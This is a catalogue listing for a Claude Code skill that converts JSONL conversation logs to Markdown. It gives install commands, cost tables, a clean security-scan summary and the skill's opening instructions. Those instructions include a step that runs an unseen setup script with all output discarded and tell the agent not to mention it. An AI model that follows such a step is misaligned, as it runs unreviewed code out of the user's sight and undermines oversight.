vibe-sunsang-retro

vibe-sunsang-retro is a skill for Claude Code from fivetaku/vibe-sunsang. It costs 0 tokens per session (1,593 once invoked), scanned A, original, MIT.

A tool for converting Claude Code conversation logs, stored as JSONL files, into Markdown documents. It also provides guidance for reviewing those conversations.

In plain words
What is it for?
Use it for routine or full conversion of logs, including conversion for a specific project or with more detailed error output.
Why use it?
It makes machine-readable conversation records easier to read and reflect on without manually reformatting them.

Skill for Claude Code

Written for Claude Code: ${CLAUDE_PLUGIN_ROOT} variable. Also seen: names the AskUserQuestion tool; mentions Claude Code.

Runs only inside its plugin — its command needs a path that Claude Code sets for a plugin’s own hooks and for nothing else. Install the plugin, not this.

Part of the vibe-sunsang plugin — 5 skills, 1 command, 1 agent shipped together

Good fit Use it for routine or full conversion of logs, including conversion for a specific project or with more detailed error output.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.

Claude Code
/plugin marketplace add fivetaku/vibe-sunsang
Claude Code
/plugin install vibe-sunsang

Made for: Claude Code.

Or install vibe-sunsang, the plugin that ships this one along with the rest of its 5 skills, 1 command, 1 agent.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for vibe-sunsang-retro

README.md
[![agentmods](https://agentmods.dev/badge/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro/github.svg)](https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro)
Your own site
<a href="https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro"><img src="https://agentmods.dev/badge/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for vibe-sunsang-retro

Your own site · 80×15
<a href="https://agentmods.dev/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro"><img src="https://agentmods.dev/badge/skills/fivetaku/vibe-sunsang/vibe-sunsang-retro.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,593 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00000 $0.01593
Opus 5 $0.00000 $0.00796
Sonnet 5 $0.00000 $0.00319
Haiku 4.5 $0.00000 $0.00159

Measured 13d ago against content hash d3b117261b29, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-12, from the pricing page.

Security

Grade A, and why

vibe-sunsang-retro scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 13d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

skills/vibe-sunsang-retro/SKILL.md · 123 lines

How it starts

The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.

실행: 대화 로그 변환

인자: $ARGUMENTS

Step 0: 워크스페이스 자동 치유 (dead-end 방지)

파일 존재만 확인하고 튕기지 않는다. 다음을 실행해 워크스페이스를 스스로 준비한다:

python3 "${CLAUDE_PLUGIN_ROOT}/scripts/ensure_workspace.py" 2>/dev/null || python "${CLAUDE_PLUGIN_ROOT}/scripts/ensure_workspace.py"

출력 마지막 줄 STATUS <fresh|v2|v1_migrated> CONFIG <present|absent>로 분기한다:

  • v1_migrated → "이전 버전 데이터를 새 구조로 옮겼어요." 한 줄만 안내하고 계속 진행한다.
  • CONFIG absent (fresh) → 아직 초기 설정 전이다. "처음이시네요 — 바로 준비할게요!" 안내 후 vibe-sunsang-onboard로 넘긴다 (자동 이름/기본 유형 lazy 온보딩 가능). 여기서 종료하지 말 것.
  • 그 외(v2, CONFIG present) → 그대로 다음 단계.

Step 1: 변환 스크립트 실행

인자를 분석하여 적절한 옵션으로 실행합니다:

인자 동작
(없음) 증분 변환 (새 세션만)
"전체", "force", "다시" --force 전체 재변환
"상세", "verbose" --verbose 에러 로그 포함
프로젝트명 --project <이름> 해당 프로젝트만

프로젝트명이 지정된 경우: "$HOME/vibe-sunsang/conversations/INDEX.md"에서 프로젝트 목록을 읽어 일치하는 프로젝트를 찾습니다. 정확히 일치하는 프로젝트가 없으면 EXECUTE: 아래 JSON으로 AskUserQuestion 도구를 즉시 호출한다:

{
  "questions": [{
    "question": "어떤 프로젝트의 대화를 변환할까요?",
    "header": "프로젝트 선택",
    "options": [
      {"label": "{프로젝트명1}", "description": "{세션 수}개 세션"},
      {"label": "{프로젝트명2}", "description": "{세션 수}개 세션"}
    ],
    "multiSelect": false
  }]
}

options는 INDEX.md에서 읽은 프로젝트 목록으로 동적 생성한다. 세션 수가 많은 순으로 정렬한다.

# 기본: 증분 변환
python3 ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations" 2>/dev/null || python ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations"

# --force: 인자에 "전체", "force", "다시" 포함 시
# python3 ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --force --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations" 2>/dev/null || python ${CLAUDE_PLUGIN_ROOT}/scripts/convert_sessions.py --force --names-file "$HOME/vibe-sunsang/config/project_names.json" --output-dir "$HOME/vibe-sunsang/conversations"

# --verbose: 인자에 "상세", "verbose" 포함 시 추가
# --project: 인자에 프로젝트명 포함 시 추가

Read the full file on GitHub · 123 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 13d ago First seen · 123 lines · 0 tokens per session scan A d3b117261b29

Subscribe to this mod's changes

vibe-sunsang-retro is a skill published in the GitHub repository fivetaku/vibe-sunsang (186 stars, last pushed 12d ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 1,593 tokens. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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